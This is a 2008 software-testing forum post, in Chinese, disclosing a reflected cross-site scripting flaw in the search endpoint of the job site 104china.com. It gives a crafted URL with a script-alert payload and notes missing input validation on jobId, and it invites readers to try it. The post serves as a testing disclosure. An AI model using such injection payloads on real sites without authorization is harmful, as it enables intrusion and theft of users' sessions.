51Testing软件测试论坛

标题: [原创]104china网站安全性测试漏洞之“跨站脚本注入” [打印本页]

作者: 卖烧烤的鱼 时间: 2008-6-23 16:18
标题: [原创]104china网站安全性测试漏洞之“跨站脚本注入”
[原创]104china网站安全性测试漏洞之“跨站脚本注入”

JobListAction.do接口存在漏洞
构造如下脚本：
http://www.104china.com/JobListA ... &lastSearchKey=>'><script>alert('卖烧烤%20的%20鱼%20到此一游')</script>&searchWay=&orderBy=+order+by+jobList.job.lastDate+desc&city=&city1=&city2=&jobCat=&jobCat1=&jobCat2=&industry=&industry1=&industry2=&sex=2&salarylow=0&salaryhigh=0&salarytype=0&role=0&role1=0&role2=0&appco=-1&capital=0&firstdate=-1&isadvance=0&istitle=1&searchKey=&isFilter=0&lastSearchKey1=&custNoString=&searchType=&searchTypeLink=&lastdate=-1&edu=0&period=0&age=0&flag=

其中还存在如下问题，程序对用户传入据合法性未做判断，如jobid=99999999值后：
http://www.104china.com/JobListA ... b.eduType+desc&jobId=99999999
上面的脚本你试试看

说明：其中“搜索”功能这块，对搜索的词类型，搜索词链接，搜索词的值，均存在跨站脚本注入漏洞

[ 本帖最后由卖烧烤的鱼于 2008-6-23 16:23 编辑 ]

作者: hellen_ma 时间: 2008-7-7 11:54
thanks

欢迎光临 51Testing软件测试论坛 (http://bbs.51testing.com/)